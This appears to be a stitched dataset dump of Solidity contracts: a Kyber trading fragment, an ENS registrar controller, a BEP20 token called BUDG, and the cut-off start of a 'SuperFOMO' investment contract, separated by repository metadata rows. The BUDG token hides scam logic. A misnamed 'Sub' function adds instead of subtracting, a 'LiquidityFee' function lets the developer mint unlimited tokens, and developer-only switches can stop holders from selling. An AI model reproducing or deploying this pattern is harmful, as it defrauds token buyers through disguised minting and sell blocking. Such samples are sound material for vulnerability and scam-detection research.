require(userDestBalanceAfter >= userDestBalanceBefore);
require((userDestBalanceAfter - userDestBalanceBefore) >=
calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest),
minConversionRate));
return actualDestAmount;
}
event AddReserveToNetwork(KyberReserveInterface reserve, bool add);
/// @notice can be called only by admin
/// @dev add or deletes a reserve to/from the network.
/// @param reserve The reserve address.
/// @param add If true, the add reserve. Otherwise delete reserve.
function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin {
if (add) {
require(!isReserve[reserve]);
reserves.push(reserve);
isReserve[reserve] = true;
AddReserveToNetwork(reserve, true);
} else {
isReserve[reserve] = false;
// will have trouble if more than 50k reserves...
for (uint i = 0; i < reserves.length; i++) {
if (reserves[i] == reserve) {
reserves[i] = reserves[reserves.length - 1];
reserves.length--;
AddReserveToNetwork(reserve, false);
break;
}
}
}
}
event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add);
/// @notice can be called only by admin
/// @dev allow or prevent a specific reserve to trade a pair of tokens
/// @param reserve The reserve address.
/// @param src Src token
/// @param dest Destination token
/// @param add If true then enable trade, otherwise delist pair.
function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin {
(perReserveListedPairs[reserve])[keccak256(src, dest)] = add;
if (src != ETH_TOKEN_ADDRESS) {
if (add) {
src.approve(reserve, 2**255); // approve infinity
} else {
src.approve(reserve, 0);
}
}
setDecimals(src);
setDecimals(dest);
ListReservePairs(reserve, src, dest, add);
}
function setParams(WhiteListInterface _whiteList,
ExpectedRateInterface _expectedRate,
FeeBurnerInterface _feeBurner,
uint _maxGasPrice,
uint _negligibleRateDiff)
public
onlyAdmin
{
require(_whiteList != address(0));
require(_feeBurner != address(0));
require(_expectedRate != address(0));
require(_negligibleRateDiff <= 100 * 100); // at most 100%
whiteListContract = _whiteList;
expectedRateContract = _expectedRate;
feeBurnerContract = _feeBurner;
maxGasPrice = _maxGasPrice;
negligibleRateDiff = _negligibleRateDiff;
}
function setEnable(bool _enable) public onlyAdmin {
if (_enable) {
require(whiteListContract != address(0));
require(feeBurnerContract != address(0));
require(expectedRateContract != address(0));
}
enabled = _enable;
}
function setInfo(bytes32 field, uint value) public onlyOperator {
info[field] = value;
}
/// @dev returns number of reserves
/// @return number of reserves
function getNumReserves() public view returns(uint) {
return reserves.length;
}
/// @notice should be called off chain with as much gas as needed
/// @dev get an array of all reserves
/// @return An array of all reserves
function getReserves() public view returns(KyberReserveInterface[]) {
return reserves;
}
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @param src Src token
/// @param dest Destination token
function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) {
uint bestRate = 0;
uint bestReserve = 0;
uint numRelevantReserves = 0;
uint numReserves = reserves.length;
uint[] memory rates = new uint[](numReserves);
uint[] memory reserveCandidates = new uint[](numReserves);
for (uint i = 0; i < numReserves; i++) {
//list all reserves that have this token.
if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue;
rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number);
if (rates[i] > bestRate) {
//best rate is highest rate
bestRate = rates[i];
}
}
if (bestRate > 0) {
uint random = 0;
uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff);
for (i = 0; i < numReserves; i++) {
if (rates[i] >= smallestRelevantRate) {
reserveCandidates[numRelevantReserves++] = i;
}
}
if (numRelevantReserves > 1) {
//when encountering small rate diff from bestRate. draw from relevant reserves
random = uint(block.blockhash(block.number-1)) % numRelevantReserves;
}
bestReserve = reserveCandidates[random];
bestRate = rates[bestReserve];
}
return (bestReserve, bestRate);
}
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty)
public view
returns (uint expectedRate, uint slippageRate)
{
require(expectedRateContract != address(0));
return expectedRateContract.getExpectedRate(src, dest, srcQty);
}
function getUserCapInWei(address user) public view returns(uint) {
return whiteListContract.getUserCapInWei(user);
}
function doTrade(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
internal
returns(uint)
{
require(tx.gasprice <= maxGasPrice);
require(validateTradeInput(src, srcAmount, destAddress));
uint reserveInd;
uint rate;
(reserveInd, rate) = findBestRate(src, dest, srcAmount);
KyberReserveInterface theReserve = reserves[reserveInd];
require(rate > 0);
require(rate < MAX_RATE);
require(rate >= minConversionRate);
uint actualSrcAmount = srcAmount;
uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate);
if (actualDestAmount > maxDestAmount) {
actualDestAmount = maxDestAmount;
actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate);
require(actualSrcAmount <= srcAmount);
}
// do the trade
// verify trade size is smaller than user cap
uint ethAmount;
if (src == ETH_TOKEN_ADDRESS) {
ethAmount = actualSrcAmount;
} else {
ethAmount = actualDestAmount;
}
require(ethAmount <= getUserCapInWei(msg.sender));
require(doReserveTrade(src,
actualSrcAmount,
dest,
destAddress,
actualDestAmount,
theReserve,
rate,
true));
if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) {
msg.sender.transfer(srcAmount - actualSrcAmount);
}
require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId));
ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount);
return actualDestAmount;
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev do one trade with a reserve
/// @param src Src token
/// @param amount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param reserve Reserve to use
/// @param validate If true, additional validations are applicable
/// @return true if trade is successful
function doReserveTrade(ERC20 src,
uint amount,
ERC20 dest,
address destAddress,
uint expectedDestAmount,
KyberReserveInterface reserve,
uint conversionRate,
bool validate)
internal
returns(bool)
{
uint callValue = 0;
if (src == ETH_TOKEN_ADDRESS) {
callValue = amount;
} else {
// take src tokens to this contract
src.transferFrom(msg.sender, this, amount);
}
// reserve sends tokens/eth to network. network sends it to destination
require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate));
if (dest == ETH_TOKEN_ADDRESS) {
destAddress.transfer(expectedDestAmount);
} else {
require(dest.transfer(destAddress, expectedDestAmount));
}
return true;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev checks that user sent ether/tokens to contract before trade
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @return true if input is valid
function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) {
if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0))
return false;
if (src == ETH_TOKEN_ADDRESS) {
if (msg.value != srcAmount)
return false;
} else {
if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount))
return false;
}
return true;
}
}
| 258,133 | 262 |
5851665a63bc618677c977fdbd207e4a6c73a38eb6980be6cb536b4211629318
| 17,254 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8b/8b6afc23db8ac5913969aa1221626f294b308039_ETHRegistrarController.sol
| 3,632 | 14,642 |
pragma solidity ^0.5.0;
interface PriceOracle {
function price(string calldata name, uint expires, uint duration) external view returns(uint);
}
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external;
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external;
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns(bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BaseRegistrar is IERC721, Ownable {
uint constant public GRACE_PERIOD = 90 days;
event ControllerAdded(address indexed controller);
event ControllerRemoved(address indexed controller);
event NameMigrated(uint256 indexed id, address indexed owner, uint expires);
event NameRegistered(uint256 indexed id, address indexed owner, uint expires);
event NameRenewed(uint256 indexed id, uint expires);
// The ENS registry
ENS public ens;
// The namehash of the TLD this registrar owns (eg, .eth)
bytes32 public baseNode;
// A map of addresses that are authorised to register and renew names.
mapping(address=>bool) public controllers;
// Authorises a controller, who can register and renew domains.
function addController(address controller) external;
// Revoke controller permission for an address.
function removeController(address controller) external;
// Set the resolver for the TLD this registrar manages.
function setResolver(address resolver) external;
// Returns the expiration timestamp of the specified label hash.
function nameExpires(uint256 id) external view returns(uint);
// Returns true iff the specified name is available for registration.
function available(uint256 id) public view returns(bool);
function register(uint256 id, address owner, uint duration) external returns(uint);
function renew(uint256 id, uint duration) external returns(uint);
function reclaim(uint256 id, address owner) external;
}
library StringUtils {
function strlen(string memory s) internal pure returns (uint) {
uint len;
uint i = 0;
uint bytelength = bytes(s).length;
for(len = 0; i < bytelength; len++) {
byte b = bytes(s)[i];
if(b < 0x80) {
i += 1;
} else if (b < 0xE0) {
i += 2;
} else if (b < 0xF0) {
i += 3;
} else if (b < 0xF8) {
i += 4;
} else if (b < 0xFC) {
i += 5;
} else {
i += 6;
}
}
return len;
}
}
interface Resolver {
event AddrChanged(bytes32 indexed node, address a);
event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexed indexedKey, string key);
event ContenthashChanged(bytes32 indexed node, bytes hash);
event ContentChanged(bytes32 indexed node, bytes32 hash);
function ABI(bytes32 node, uint256 contentTypes) external view returns (uint256, bytes memory);
function addr(bytes32 node) external view returns (address);
function addr(bytes32 node, uint coinType) external view returns(bytes memory);
function contenthash(bytes32 node) external view returns (bytes memory);
function dnsrr(bytes32 node) external view returns (bytes memory);
function name(bytes32 node) external view returns (string memory);
function pubkey(bytes32 node) external view returns (bytes32 x, bytes32 y);
function text(bytes32 node, string calldata key) external view returns (string memory);
function interfaceImplementer(bytes32 node, bytes4 interfaceID) external view returns (address);
function setABI(bytes32 node, uint256 contentType, bytes calldata data) external;
function setAddr(bytes32 node, address addr) external;
function setAddr(bytes32 node, uint coinType, bytes calldata a) external;
function setContenthash(bytes32 node, bytes calldata hash) external;
function setDnsrr(bytes32 node, bytes calldata data) external;
function setName(bytes32 node, string calldata _name) external;
function setPubkey(bytes32 node, bytes32 x, bytes32 y) external;
function setText(bytes32 node, string calldata key, string calldata value) external;
function setInterface(bytes32 node, bytes4 interfaceID, address implementer) external;
function supportsInterface(bytes4 interfaceID) external pure returns (bool);
function content(bytes32 node) external view returns (bytes32);
function multihash(bytes32 node) external view returns (bytes memory);
function setContent(bytes32 node, bytes32 hash) external;
function setMultihash(bytes32 node, bytes calldata hash) external;
}
contract ETHRegistrarController is Ownable {
using StringUtils for *;
uint constant public MIN_REGISTRATION_DURATION = 28 days;
bytes4 constant private INTERFACE_META_ID = bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 constant private COMMITMENT_CONTROLLER_ID = bytes4(keccak256("rentPrice(string,uint256)") ^
keccak256("available(string)") ^
keccak256("makeCommitment(string,address,bytes32)") ^
keccak256("commit(bytes32)") ^
keccak256("register(string,address,uint256,bytes32)") ^
keccak256("renew(string,uint256)"));
bytes4 constant private COMMITMENT_WITH_CONFIG_CONTROLLER_ID = bytes4(keccak256("registerWithConfig(string,address,uint256,bytes32,address,address)") ^
keccak256("makeCommitmentWithConfig(string,address,bytes32,address,address)"));
BaseRegistrar base;
PriceOracle prices;
uint public minCommitmentAge;
uint public maxCommitmentAge;
mapping(bytes32=>uint) public commitments;
event NameRegistered(string name, bytes32 indexed label, address indexed owner, uint cost, uint expires);
event NameRenewed(string name, bytes32 indexed label, uint cost, uint expires);
event NewPriceOracle(address indexed oracle);
constructor(BaseRegistrar _base, PriceOracle _prices, uint _minCommitmentAge, uint _maxCommitmentAge) public {
require(_maxCommitmentAge > _minCommitmentAge);
base = _base;
prices = _prices;
minCommitmentAge = _minCommitmentAge;
maxCommitmentAge = _maxCommitmentAge;
}
function rentPrice(string memory name, uint duration) view public returns(uint) {
bytes32 hash = keccak256(bytes(name));
return prices.price(name, base.nameExpires(uint256(hash)), duration);
}
function valid(string memory name) public pure returns(bool) {
return name.strlen() >= 3;
}
function available(string memory name) public view returns(bool) {
bytes32 label = keccak256(bytes(name));
return valid(name) && base.available(uint256(label));
}
function makeCommitment(string memory name, address owner, bytes32 secret) pure public returns(bytes32) {
return makeCommitmentWithConfig(name, owner, secret, address(0), address(0));
}
function makeCommitmentWithConfig(string memory name, address owner, bytes32 secret, address resolver, address addr) pure public returns(bytes32) {
bytes32 label = keccak256(bytes(name));
if (resolver == address(0) && addr == address(0)) {
return keccak256(abi.encodePacked(label, owner, secret));
}
require(resolver != address(0));
return keccak256(abi.encodePacked(label, owner, resolver, addr, secret));
}
function commit(bytes32 commitment) public {
require(commitments[commitment] + maxCommitmentAge < now);
commitments[commitment] = now;
}
function register(string calldata name, address owner, uint duration, bytes32 secret) external payable {
registerWithConfig(name, owner, duration, secret, address(0), address(0));
}
function registerWithConfig(string memory name, address owner, uint duration, bytes32 secret, address resolver, address addr) public payable {
bytes32 commitment = makeCommitmentWithConfig(name, owner, secret, resolver, addr);
uint cost = _consumeCommitment(name, duration, commitment);
bytes32 label = keccak256(bytes(name));
uint256 tokenId = uint256(label);
uint expires;
if(resolver != address(0)) {
// Set this contract as the (temporary) owner, giving it
// permission to set up the resolver.
expires = base.register(tokenId, address(this), duration);
// The nodehash of this label
bytes32 nodehash = keccak256(abi.encodePacked(base.baseNode(), label));
// Set the resolver
base.ens().setResolver(nodehash, resolver);
// Configure the resolver
if (addr != address(0)) {
Resolver(resolver).setAddr(nodehash, addr);
}
// Now transfer full ownership to the expeceted owner
base.reclaim(tokenId, owner);
base.transferFrom(address(this), owner, tokenId);
} else {
require(addr == address(0));
expires = base.register(tokenId, owner, duration);
}
emit NameRegistered(name, label, owner, cost, expires);
// Refund any extra payment
if(msg.value > cost) {
msg.sender.transfer(msg.value - cost);
}
}
function renew(string calldata name, uint duration) external payable {
uint cost = rentPrice(name, duration);
require(msg.value >= cost);
bytes32 label = keccak256(bytes(name));
uint expires = base.renew(uint256(label), duration);
if(msg.value > cost) {
msg.sender.transfer(msg.value - cost);
}
emit NameRenewed(name, label, cost, expires);
}
function setPriceOracle(PriceOracle _prices) public onlyOwner {
prices = _prices;
emit NewPriceOracle(address(prices));
}
function setCommitmentAges(uint _minCommitmentAge, uint _maxCommitmentAge) public onlyOwner {
minCommitmentAge = _minCommitmentAge;
maxCommitmentAge = _maxCommitmentAge;
}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
return interfaceID == INTERFACE_META_ID ||
interfaceID == COMMITMENT_CONTROLLER_ID ||
interfaceID == COMMITMENT_WITH_CONFIG_CONTROLLER_ID;
}
function _consumeCommitment(string memory name, uint duration, bytes32 commitment) internal returns (uint256) {
// Require a valid commitment
require(commitments[commitment] + minCommitmentAge <= now);
// If the commitment is too old, or the name is registered, stop
require(commitments[commitment] + maxCommitmentAge > now);
require(available(name));
delete(commitments[commitment]);
uint cost = rentPrice(name, duration);
require(duration >= MIN_REGISTRATION_DURATION);
require(msg.value >= cost);
return cost;
}
}
| 118,774 | 263 |
f44160aa819c719fcb73edc91b1d39ab2b93bb346528baeee7f04e9eb15f3282
| 22,594 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xf6a702Bfd1D48a657AD893dF1A16cbd0a68F625D/contract.sol
| 3,437 | 13,270 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BUDG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityFee(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 257,605 | 264 |
732c363a5deca149315a465b59ac25f38f3315779b872af9410993e2437e7c1d
| 16,506 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4c557f359bc981915e8e67c9c2dc49e1d1cb9c44.sol
| 3,555 | 12,248 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Storage {
address private owner;
mapping (address => Investor) investors;
struct Investor {
uint index;
mapping (uint => uint) deposit;
mapping (uint => uint) interest;
mapping (uint => uint) withdrawals;
mapping (uint => uint) start;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value, uint _interest) external onlyOwner {
investors[_address].deposit[investors[_address].index] += _value;
investors[_address].start[investors[_address].index] = block.timestamp;
investors[_address].interest[investors[_address].index] = _interest;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function updateWithdrawals(address _address, uint _index, uint _withdrawal) external onlyOwner {
investors[_address].withdrawals[_index] += _withdrawal;
}
function updateIndex(address _address) external onlyOwner {
investors[_address].index += 1;
}
function ind(address _address) external view returns(uint) {
return investors[_address].index;
}
function d(address _address, uint _index) external view returns(uint) {
return investors[_address].deposit[_index];
}
function i(address _address, uint _index) external view returns(uint) {
return investors[_address].interest[_index];
}
function w(address _address, uint _index) external view returns(uint) {
return investors[_address].withdrawals[_index];
}
function s(address _address, uint _index) external view returns(uint) {
return investors[_address].start[_index];
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
}
contract SuperFOMO {
using SafeMath for uint;
address public owner;
address advertising;
address techsupport;
